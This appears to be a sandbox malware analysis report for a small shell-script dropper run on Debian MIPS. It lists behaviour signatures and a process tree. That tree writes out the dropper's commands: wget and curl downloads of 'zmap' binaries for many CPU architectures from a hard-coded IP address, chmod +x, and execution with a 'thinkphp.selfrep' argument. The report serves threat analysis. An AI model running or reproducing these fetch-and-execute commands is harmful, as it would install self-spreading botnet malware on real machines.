Analysis

  • max time kernel
    31s
  • max time network
    32s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03/11/2024, 02:42

General

  • Target
    4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
  • Size 2KB
  • Sample241103-c7b69askdy
  • SHA256 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
    /tmp/4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
    1⤵
    • Writes file to tmp directory
    PID:710
    • /usr/bin/wget
      wget http://154.216.16.38:85/zmap.x86
      2⤵
        PID:716
      • /usr/bin/curl
        curl -O http://154.216.16.38:85/zmap.x86
        2⤵
        • Reads runtime system information
        PID:722
      • /bin/cat
        cat zmap.x86
        2⤵
          PID:729
        • /bin/chmod
          chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/WTH
          ./WTH thinkphp.selfrep
          2⤵
          • Executes dropped EXE
          PID:734
        • /usr/bin/wget
          wget http://154.216.16.38:85/zmap.mips
          2⤵
          • System Network Configuration Discovery
          PID:737
        • /usr/bin/curl
          curl -O http://154.216.16.38:85/zmap.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:740
        • /bin/cat
          cat zmap.mips
          2⤵
          • System Network Configuration Discovery
          PID:744
        • /bin/chmod
          chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/WTH
          ./WTH thinkphp.selfrep
          2⤵
          • Executes dropped EXE
          PID:747
        • /usr/bin/wget
          wget http://154.216.16.38:85/zmap.mpsl
          2⤵
            PID:749
          • /usr/bin/curl
            curl -O http://154.216.16.38:85/zmap.mpsl
            2⤵
            • Reads runtime system information
            PID:750
          • /bin/cat
            cat zmap.mpsl
            2⤵
              PID:752
            • /bin/chmod
              chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/WTH
              ./WTH thinkphp.selfrep
              2⤵
              • Executes dropped EXE
              PID:754
            • /usr/bin/wget
              wget http://154.216.16.38:85/zmap.arm
              2⤵
                PID:756
              • /usr/bin/curl
                curl -O http://154.216.16.38:85/zmap.arm
                2⤵
                • Reads runtime system information
                PID:757
              • /bin/cat
                cat zmap.arm
                2⤵
                  PID:758
                • /bin/chmod
                  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:759
                • /tmp/WTH
                  ./WTH thinkphp.selfrep
                  2⤵
                  • Executes dropped EXE
                  PID:760
                • /usr/bin/wget
                  wget http://154.216.16.38:85/zmap.arm5
                  2⤵
                    PID:762
                  • /usr/bin/curl
                    curl -O http://154.216.16.38:85/zmap.arm5
                    2⤵
                    • Reads runtime system information
                    PID:763
                  • /bin/cat
                    cat zmap.arm5
                    2⤵
                      PID:764
                    • /bin/chmod
                      chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:765
                    • /tmp/WTH
                      ./WTH thinkphp.selfrep
                      2⤵
                      • Executes dropped EXE
                      PID:766
                    • /usr/bin/wget
                      wget http://154.216.16.38:85/zmap.arm6
                      2⤵
                        PID:768
                      • /usr/bin/curl
                        curl -O http://154.216.16.38:85/zmap.arm6
                        2⤵
                        • Reads runtime system information
                        PID:769
                      • /bin/cat
                        cat zmap.arm6
                        2⤵
                          PID:772
                        • /bin/chmod
                          chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                          2⤵
                          • File and Directory Permissions Modification
                          PID:775
                        • /tmp/WTH
                          ./WTH thinkphp.selfrep
                          2⤵
                          • Executes dropped EXE
                          PID:776
                        • /usr/bin/wget
                          wget http://154.216.16.38:85/zmap.arm7
                          2⤵
                            PID:778
                          • /usr/bin/curl
                            curl -O http://154.216.16.38:85/zmap.arm7
                            2⤵
                            • Reads runtime system information
                            PID:782
                          • /bin/cat
                            cat zmap.arm7
                            2⤵
                              PID:786
                            • /bin/chmod
                              chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                              2⤵
                              • File and Directory Permissions Modification
                              PID:789
                            • /tmp/WTH
                              ./WTH thinkphp.selfrep
                              2⤵
                              • Executes dropped EXE
                              PID:790
                            • /usr/bin/wget
                              wget http://154.216.16.38:85/zmap.ppc
                              2⤵
                                PID:792
                              • /usr/bin/curl
                                curl -O http://154.216.16.38:85/zmap.ppc
                                2⤵
                                • Reads runtime system information
                                PID:797
                              • /bin/cat
                                cat zmap.ppc
                                2⤵
                                  PID:804
                                • /bin/chmod
                                  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:807
                                • /tmp/WTH
                                  ./WTH thinkphp.selfrep
                                  2⤵
                                  • Executes dropped EXE
                                  PID:808
                                • /usr/bin/wget
                                  wget http://154.216.16.38:85/zmap.m68k
                                  2⤵
                                    PID:810
                                  • /usr/bin/curl
                                    curl -O http://154.216.16.38:85/zmap.m68k
                                    2⤵
                                    • Reads runtime system information
                                    PID:815
                                  • /bin/cat
                                    cat zmap.m68k
                                    2⤵
                                      PID:826
                                    • /bin/chmod
                                      chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:828
                                    • /tmp/WTH
                                      ./WTH thinkphp.selfrep
                                      2⤵
                                      • Executes dropped EXE
                                      PID:829
                                    • /usr/bin/wget
                                      wget http://154.216.16.38:85/zmap.spc
                                      2⤵
                                        PID:832
                                      • /usr/bin/curl
                                        curl -O http://154.216.16.38:85/zmap.spc
                                        2⤵
                                        • Reads runtime system information
                                        PID:836
                                      • /bin/cat
                                        cat zmap.spc
                                        2⤵
                                          PID:839
                                        • /bin/chmod
                                          chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:840
                                        • /tmp/WTH
                                          ./WTH thinkphp.selfrep
                                          2⤵
                                          • Executes dropped EXE
                                          PID:841
                                        • /usr/bin/wget
                                          wget http://154.216.16.38:85/zmap.i686
                                          2⤵
                                            PID:843
                                          • /usr/bin/curl
                                            curl -O http://154.216.16.38:85/zmap.i686
                                            2⤵
                                            • Reads runtime system information
                                            PID:844
                                          • /bin/cat
                                            cat zmap.i686
                                            2⤵
                                              PID:845
                                            • /bin/chmod
                                              chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:846
                                            • /tmp/WTH
                                              ./WTH thinkphp.selfrep
                                              2⤵
                                              • Executes dropped EXE
                                              PID:847
                                            • /usr/bin/wget
                                              wget http://154.216.16.38:85/zmap.sh4
                                              2⤵
                                                PID:849
                                              • /usr/bin/curl
                                                curl -O http://154.216.16.38:85/zmap.sh4
                                                2⤵
                                                • Reads runtime system information
                                                PID:850
                                              • /bin/cat
                                                cat zmap.sh4
                                                2⤵
                                                  PID:851
                                                • /bin/chmod
                                                  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-0ed40a9e127f41699077075a5bd2978f-systemd-timedated.service-9yKsIR WTH
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:852
                                                • /tmp/WTH
                                                  ./WTH thinkphp.selfrep
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:853
                                                • /usr/bin/wget
                                                  wget http://154.216.16.38:85/zmap.arc
                                                  2⤵
                                                    PID:855
                                                  • /usr/bin/curl
                                                    curl -O http://154.216.16.38:85/zmap.arc
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:856
                                                  • /bin/cat
                                                    cat zmap.arc
                                                    2⤵
                                                      PID:862
                                                    • /bin/chmod
                                                      chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh WTH
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:863
                                                    • /tmp/WTH
                                                      ./WTH thinkphp.selfrep
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:865

                                                  Network

                                                        MITRE ATT&CK Enterprise v15

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